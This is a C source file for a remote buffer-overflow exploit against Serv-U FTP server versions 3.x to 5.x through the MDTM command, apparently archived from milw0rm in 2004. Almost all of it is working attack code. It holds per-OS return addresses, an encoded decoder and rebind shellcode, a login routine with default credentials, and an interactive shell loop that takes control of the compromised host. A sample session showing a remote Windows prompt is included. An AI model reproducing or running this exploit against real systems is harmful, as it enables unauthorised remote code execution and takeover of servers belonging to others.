582 lines
No EOL
17 KiB
C
582 lines
No EOL
17 KiB
C
/* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit
|
|
*
|
|
* Copyright (c) SST 2004 All rights reserved.
|
|
*
|
|
* Public version
|
|
*
|
|
* BUG find by bkbll (bkbll@cnhonker.com), cool! :ppPPppPPPpp :D
|
|
*
|
|
* code by Sam and 2004/01/07
|
|
* <chen_xiaobo@venustech.com.cn>
|
|
* <Sam@0x557.org>
|
|
*
|
|
*
|
|
* Revise History:
|
|
* 2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port.
|
|
* 2004/01/09 connect back shellcode added :)
|
|
* 2004/01/08 21:04 upgrade now :), we put shellcode in file parameter
|
|
* we can attack pacthed serv-U;PPPp by airsupply
|
|
* 2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now
|
|
* :D thx airsupply
|
|
*
|
|
* Compile: gcc -o ex_servu ex_servu.c
|
|
*
|
|
* how works?
|
|
* [root@core exp]# ./sv -h 192.168.10.119 -t 3
|
|
* Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit
|
|
* bug find by bkbll (bkbll@cnhonker.com) code by Sam (Sam@0x557.org)
|
|
*
|
|
* # Connecting......
|
|
* [+] Connected.
|
|
* [*] USER ftp .
|
|
* [*] 10 bytes send.
|
|
* [*] PASS sst@SERV-u .
|
|
* [*] 17 bytes send.
|
|
* [+] login success .
|
|
* [+] remote version: Serv-U v4.x with Windows XP EN SP1
|
|
* [+] trigger vulnerability !
|
|
* [+] 1027 bytes overflow strings sent!
|
|
* [+] successed!!
|
|
*
|
|
*
|
|
* Microsoft Windows XP [Version 5.1.2600]
|
|
* (C) Copyright 1985-2001 Microsoft Corp.
|
|
*
|
|
* [Sam Chen@SAM C:\]#
|
|
*
|
|
*
|
|
* some thanks/greets to:
|
|
* bkbll (he find this bug :D), airsupply, kkqq, icbm
|
|
* and everyone else who's KNOW SST;P
|
|
* http://0x557.org
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdarg.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/tcp.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
#include <string.h>
|
|
#include <assert.h>
|
|
#include <fcntl.h>
|
|
#include <sys/time.h>
|
|
|
|
#define VER "v5.0"
|
|
|
|
#define clearbit(buff) bzero(buff, sizeof (buff));
|
|
#define padding(buff, a) memset(buff, a, sizeof (buff));
|
|
|
|
#define MAX_LEN 2048
|
|
#define MAX_NUM 4
|
|
|
|
int x = 0, port = 21, shellport;
|
|
char pass[20], user[20];
|
|
|
|
struct archs {
|
|
char *desc;
|
|
unsigned int magic;
|
|
|
|
}architectures[] = {
|
|
|
|
|
|
{
|
|
"Serv-U v3.x/4.x/5.x with Windows 2K CN", //winmm.dll
|
|
0x77535985
|
|
|
|
},
|
|
{
|
|
"Serv-U v3.x/4.x/5.x with Windows 2K BIG5 version", //winmm.dll
|
|
0x77531790
|
|
|
|
},
|
|
{
|
|
"Serv-U v3.x/4.x/5.x with Windows 2K EN",
|
|
0x77575985
|
|
|
|
},
|
|
|
|
{
|
|
"Serv-U v3.x/4.x/5.x with Windows XP CN SP1",
|
|
0x76b12f69
|
|
|
|
},
|
|
{
|
|
"Serv-U v3.x/4.x/5.x with Windows XP EN SP1",
|
|
0x76b42a3a
|
|
|
|
}
|
|
|
|
};
|
|
|
|
char decoder [] =
|
|
/* 36 bytes cool decoder by airsupply :) */
|
|
|
|
"\x90\x90\x90\x5E\x5F\x5B\xBE\x52\x52\x49\x41\x46\xBF\x52\x52\x31"
|
|
"\x41\x47\x43\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7"
|
|
"\xFF\xD3\x90\x90";
|
|
|
|
/* fork + rebind shellcode by airsupply (one way shellcode) */
|
|
char shellcode [] =
|
|
|
|
"\x53\x52\x49\x41"
|
|
|
|
/*port offset 120 + 4*/
|
|
"\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12\xD9\x85\x12\x99\x12\xD9"
|
|
"\x91\x18\x75\x19\x98\x99\x99\x12\x65\x12\x76\x32\x70\x8B\x9B\x99"
|
|
"\x99\xC7\xAA\x50\x28\x90\x66\xEE\x65\x71\xB9\x98\x99\x99\xF1\xF5"
|
|
"\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCC"
|
|
"\x9D\x32\xAA\x50\x28\x9C\x66\xEE\x65\x71\x99\x98\x99\x99\x12\x6C"
|
|
"\x71\x94\x98\x99\x99\xAA\x66\x18\x75\x09\x98\x99\x99\xCD\xF1\x98"
|
|
"\x98\x99\x99\x66\xCF\xB5\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF"
|
|
"\xA9\x12\x41\xCE\xCE\xF1\x9B\x99\x8C\x5B\x12\x55\xCA\xC8\xF3\x8F"
|
|
"\xC8\xCA\x66\xCF\xAD\xC0\xC2\x1C\x59\xEC\x68\xCE\xCA\x66\xCF\xA1"
|
|
"\xCE\xC8\xCA\x66\xCF\xA5\x12\x49\x10\x1F\xD9\x98\x99\x99\xF1\xFC"
|
|
"\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98\x99\x99\x1A\x75"
|
|
"\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64\x5F\xDD"
|
|
"\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD\xD1\x10"
|
|
"\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\x14\x27\xDD\x98\x99"
|
|
"\x99\xCE\xC9\xC8\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\x2F\xA9\x98\x99"
|
|
"\x99\xC8\x66\xCF\x91\xAA\x59\xD1\xC9\x66\xCF\x95\xCA\xCC\xCF\xCE"
|
|
"\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81"
|
|
"\x12\xC3\xB9\x9A\x44\x7A\xA9\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65"
|
|
"\xAA\x59\x35\xA3\x79\xED\x9E\x58\x56\x9E\x9A\x61\x72\x6B\xA2\xE5"
|
|
"\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85"
|
|
"\x9A\x44\x12\x9D\x12\x9A\x5C\xC6\xC7\xC4\xC2\x5B\x9D\x99\xC8\x66"
|
|
"\xED\xBD\x91\x34\xC9\x71\x3B\x66\x66\x66\x1A\x5D\x9D\xC0\x32\x7B"
|
|
"\x74\x5A\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98"
|
|
"\x99\x99\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32"
|
|
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10"
|
|
"\xDD\xBD\xD1\x10\xDD\xBD\xD5\x10\xDD\xBD\xC9\x14\xDD\xBD\x89\x14"
|
|
"\x27\xDD\x98\x99\x99\xCE\xC9\xC8\xC8\xF3\x9D\xC8\xC8\xC8\x66\x2F"
|
|
"\xA9\x98\x99\x99\xC8\x66\xCF\x91\x18\x75\x99\x9D\x99\x99\xF1\x9E"
|
|
"\x99\x98\x99\xCD\x66\x2F\xD1\x98\x99\x99\x66\xCF\x89\xF3\xD9\xF1"
|
|
"\x99\x89\x99\x99\xF1\x99\xC9\x99\x99\xF3\x99\x66\x2F\xDD\x98\x99"
|
|
"\x99\x66\xCF\x8D\x10\x1D\xBD\x21\x99\x99\x99\x10\x1D\xBD\x2D\x99"
|
|
"\x99\x99\x12\x15\xBD\xF9\x9D\x99\x99\x5E\xD8\x62\x09\x09\x09\x09"
|
|
"\x5F\xD8\x66\x09\x1A\x70\xCC\xF3\x99\xF1\x99\x89\x99\x99\xC8\xC9"
|
|
"\x66\x2F\xDD\x98\x99\x99\x66\xCF\x81\xCD\x66\x2F\xD1\x98\x99\x99"
|
|
"\x66\xCF\x85\x66\x2F\xD1\x98\x99\x99\x66\xCF\xB9\xAA\x59\xD1\xC9"
|
|
"\x66\xCF\x95\x71\x70\x64\x66\x66\xAB\xED\x08\x95\x50\x25\x3F\xF2"
|
|
"\x16\x6B\x81\xF8\x51\xCE\xD6\x88\x68\xE2\x05\x76\xC1\x96\xD8\x0E"
|
|
"\x51\xCE\xD6\x8E\x4F\x15\x07\x6A\xFA\x10\x48\xD6\xA4\xF3\x2D\x19"
|
|
"\xB4\xAB\xE1\x47\xFD\x89\x3E\x44\x95\x06\x4A\xD2\x28\x87\x0E\x98"
|
|
"\x06\x06\x06\x06"
|
|
"\x53\x52\x31\x41";
|
|
|
|
|
|
/* new:
|
|
* tcp connect with no block socket, host to ip.
|
|
* millisecond timeout, it's will be fast.
|
|
*;D
|
|
* 2003/06/23 add by Sam
|
|
*/
|
|
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
|
|
{
|
|
int sock,
|
|
flag,
|
|
pe = 0;
|
|
size_t pe_len;
|
|
struct timeval tv;
|
|
struct sockaddr_in addr;
|
|
struct hostent* hp = NULL;
|
|
fd_set rset;
|
|
|
|
// reslov hosts
|
|
hp = gethostbyname (host);
|
|
if (NULL == hp) {
|
|
perror ("tcpConnect:gethostbyname\n");
|
|
return -1;
|
|
}
|
|
|
|
sock = socket (AF_INET, SOCK_STREAM, 0);
|
|
if (-1 == sock) {
|
|
perror ("tcpConnect:socket\n");
|
|
return -1;
|
|
}
|
|
|
|
addr.sin_addr = *(struct in_addr *) hp->h_addr;
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons (port);
|
|
|
|
/* set socket no block
|
|
*/
|
|
flag = fcntl (sock, F_GETFL);
|
|
if (-1 == flag) {
|
|
perror ("tcpConnect:fcntl\n");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
flag |= O_NONBLOCK;
|
|
if (fcntl (sock, F_SETFL, flag) < 0) {
|
|
perror ("tcpConnect:fcntl\n");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
if (connect (sock, (const struct sockaddr *) &addr,
|
|
sizeof(addr)) < 0 &&
|
|
errno != EINPROGRESS) {
|
|
perror ("tcpConnect:connect\n");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
/* set connect timeout
|
|
* use millisecond
|
|
*/
|
|
tv.tv_sec = timeout/1000;
|
|
tv.tv_usec = timeout%1000;
|
|
|
|
FD_ZERO (&rset);
|
|
FD_SET (sock, &rset);
|
|
|
|
if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
|
|
// perror ("tcpConnect:select");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
pe_len = sizeof (pe);
|
|
|
|
if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
|
|
perror ("tcpConnect:getsockopt\n");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
if (pe != 0) {
|
|
errno = pe;
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
|
|
perror ("tcpConnect:fcntl\n");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
pe = 1;
|
|
pe_len = sizeof (pe);
|
|
|
|
if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
|
|
perror ("tcpConnect:setsockopt\n");
|
|
close (sock);
|
|
return -1;
|
|
}
|
|
|
|
return sock;
|
|
}
|
|
|
|
/* rip code, from hsj */
|
|
int sh (int in, int out, int s)
|
|
{
|
|
char sbuf[128], rbuf[128];
|
|
int i,
|
|
ti, fd_cnt,
|
|
ret=0, slen=0, rlen=0;
|
|
fd_set rd, wr;
|
|
|
|
fd_cnt = in > out ? in : out;
|
|
fd_cnt = s > fd_cnt ? s : fd_cnt;
|
|
fd_cnt ++;
|
|
|
|
for (;;) {
|
|
FD_ZERO (&rd);
|
|
if (rlen < sizeof (rbuf))
|
|
FD_SET (s, &rd);
|
|
if (slen < sizeof (sbuf))
|
|
FD_SET (in, &rd);
|
|
|
|
FD_ZERO (&wr);
|
|
if (slen)
|
|
FD_SET (s, &wr);
|
|
if (rlen)
|
|
FD_SET (out, &wr);
|
|
|
|
if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1))
|
|
break;
|
|
if (FD_ISSET (in, &rd)) {
|
|
if((i = read (in, (sbuf+slen),
|
|
(sizeof (sbuf) - slen))) == (-1)) {
|
|
ret = -2;
|
|
break;
|
|
}
|
|
else if (i == 0) {
|
|
ret = -3;
|
|
break;
|
|
}
|
|
slen += i;
|
|
if (!(--ti))
|
|
continue;
|
|
}
|
|
if (FD_ISSET (s, &wr)) {
|
|
if ((i = write (s, sbuf, slen)) == (-1))
|
|
break;
|
|
if (i == slen)
|
|
slen = 0;
|
|
else {
|
|
slen -= i;
|
|
memmove (sbuf, sbuf + i, slen);
|
|
}
|
|
if (!(--ti))
|
|
continue;
|
|
}
|
|
if (FD_ISSET (s, &rd)) {
|
|
if ((i = read (s, (rbuf + rlen),
|
|
(sizeof (rbuf) - rlen))) <= 0)
|
|
break;
|
|
rlen += i;
|
|
if (!(--ti))
|
|
continue;
|
|
}
|
|
if (FD_ISSET (out, &wr)) {
|
|
if ((i = write (out, rbuf, rlen)) == (-1))
|
|
break;
|
|
if (i == rlen)
|
|
rlen = 0;
|
|
else {
|
|
rlen -= i;
|
|
memmove (rbuf, rbuf+i, rlen);
|
|
}
|
|
}
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
|
|
int new_send (int fd, char *buff, size_t len)
|
|
{
|
|
int ret;
|
|
|
|
if ((ret = send (fd, buff, len, 0)) <= 0) {
|
|
perror ("new_write");
|
|
return -1;
|
|
}
|
|
|
|
return ret;
|
|
|
|
}
|
|
|
|
int new_recv (int fd, char *buff, size_t len)
|
|
{
|
|
int ret;
|
|
|
|
if ((ret = recv (fd, buff, len, 0)) <= 0) {
|
|
perror ("new_recv");
|
|
return -1;
|
|
}
|
|
|
|
return ret;
|
|
}
|
|
|
|
int ftp_login (char *hostName, short port, char *user, char *pass)
|
|
{
|
|
int ret, sock;
|
|
char buff[MAX_LEN];
|
|
|
|
fprintf (stderr, "# Connecting...... \n");
|
|
if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
|
|
fprintf (stderr, "[-] failed. \n");
|
|
return -1;
|
|
}
|
|
|
|
clearbit (buff);
|
|
|
|
new_recv (sock, buff, sizeof (buff) - 1);
|
|
if (!strstr (buff, "220")) {
|
|
fprintf (stderr, "[-] failed. \n");
|
|
return -1;
|
|
}
|
|
fprintf (stderr, "[+] Connected. \n");
|
|
|
|
sleep (1);
|
|
fprintf (stderr, "[*] USER %s .\n", user);
|
|
clearbit (buff);
|
|
snprintf (buff, sizeof (buff), "USER %s\r\n", user);
|
|
ret = new_send (sock, buff, strlen (buff));
|
|
fprintf (stderr, "[*] %d bytes send. \n", ret);
|
|
|
|
sleep (1);
|
|
|
|
clearbit (buff);
|
|
new_recv (sock, buff, sizeof (buff) - 1);
|
|
if (!strstr (buff, "331")) {
|
|
fprintf (stderr, "[-] user failed. \n%s\n", buff);
|
|
return -1;
|
|
}
|
|
|
|
fprintf (stderr, "[*] PASS %s .\n", pass);
|
|
clearbit (buff);
|
|
snprintf (buff, sizeof (buff), "PASS %s\r\n", pass);
|
|
ret = new_send (sock, buff, strlen (buff));
|
|
fprintf (stderr, "[*] %d bytes send. \n", ret);
|
|
|
|
sleep (1);
|
|
|
|
clearbit (buff);
|
|
new_recv (sock, buff, sizeof (buff) - 1);
|
|
if (!strstr (buff, "230")) {
|
|
fprintf (stderr, "[-] pass failed. \n%s\n", buff);
|
|
return -1;
|
|
}
|
|
|
|
fprintf (stderr, "[+] login success .\n");
|
|
|
|
return sock;
|
|
|
|
}
|
|
|
|
void do_overflow (int sock)
|
|
{
|
|
int ret, i;
|
|
unsigned short newport;
|
|
char Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];
|
|
|
|
clearbit (Comand);
|
|
clearbit (rbuf);
|
|
|
|
clearbit (chmodBuffer);
|
|
|
|
for(i = 0; i < 47; i++)
|
|
strcat(chmodBuffer, "a");
|
|
for(i = 0; i < 16; i += 8) {
|
|
*(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
|
|
*(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78; //pop reg pop reg ret
|
|
}
|
|
|
|
|
|
newport = htons (shellport)^(unsigned short)0x9999;
|
|
memcpy (&shellcode[120 + 4], &newport, 2);
|
|
|
|
strcat(chmodBuffer, decoder);
|
|
|
|
|
|
fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc);
|
|
|
|
fprintf (stderr, "[+] trigger vulnerability !\n ");
|
|
strcpy (Comand, "MDTM 20031111111111+");
|
|
strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
|
|
strcat (Comand, " ");
|
|
|
|
|
|
strcat (Comand, shellcode);
|
|
|
|
strcat (Comand, "hacked_by.sst\r\n");
|
|
|
|
ret = new_send (sock, Comand, strlen (Comand));
|
|
fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret);
|
|
|
|
|
|
return;
|
|
}
|
|
|
|
/* print help messages.
|
|
* just show ya how to use.
|
|
*/
|
|
void showHELP (char *p)
|
|
{
|
|
int i;
|
|
|
|
fprintf (stderr, "Usage: %s [Options] \n", p);
|
|
fprintf (stderr, "Options:\n"
|
|
"\t-h [remote host]\tremote host\n"
|
|
"\t-P [server port]\tserver port\n"
|
|
"\t-t [system type]\tchoice the system type\n"
|
|
"\t-u [user name]\tlogin with this username\n"
|
|
"\t-p [pass word]\tlogin with this passwd\n"
|
|
"\t-d [shell port]\trebind using this port (default: ftpd port)\n\n");
|
|
|
|
|
|
printf ("num . description\n");
|
|
printf ("----+-----------------------------------------------"
|
|
"--------\n");
|
|
for (i = 0; i <= MAX_NUM; i ++) {
|
|
printf ("%3d | %s\n", i, architectures[i].desc);
|
|
}
|
|
printf (" '\n");
|
|
return;
|
|
}
|
|
|
|
int main (int c, char *v[])
|
|
{
|
|
int ch, fd, sd;
|
|
char *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u";
|
|
shellport = port;
|
|
|
|
|
|
fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n"
|
|
"bug find by bkbll (bkbll@cnhonker.net) code by Sam (Sam@0x557.org)\n\n");
|
|
|
|
if (c < 2) {
|
|
showHELP (v[0]);
|
|
exit (1);
|
|
}
|
|
|
|
while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
|
|
switch(ch) {
|
|
case 'h':
|
|
hostName = optarg;
|
|
break;
|
|
case 't':
|
|
x = atoi (optarg);
|
|
if (x > MAX_NUM) {
|
|
printf ("[-] wtf your input?\n");
|
|
exit (-1);
|
|
}
|
|
break;
|
|
case 'u':
|
|
userName = optarg;
|
|
break;
|
|
case 'p':
|
|
passWord = optarg;
|
|
break;
|
|
case 'P':
|
|
port = atoi (optarg);
|
|
break;
|
|
case 'd':
|
|
shellport = atoi (optarg);
|
|
break;
|
|
default:
|
|
showHELP (v[0]);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
|
|
fd = ftp_login (hostName, port, userName, passWord);
|
|
if (fd <= 0) {
|
|
printf ("[-] can't connnect\n");
|
|
exit (-1);
|
|
}
|
|
|
|
do_overflow (fd);
|
|
|
|
close (fd);
|
|
|
|
sleep (3);
|
|
|
|
sd = new_tcpConnect (hostName, shellport, 3000);
|
|
if (sd <= 0) {
|
|
printf ("[-] failed\n");
|
|
return -1;
|
|
}
|
|
|
|
fprintf (stderr, "[+] successed!!\n\n\n");
|
|
sh (0, 1, sd);
|
|
|
|
close (sd);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
// milw0rm.com [2004-02-27]
|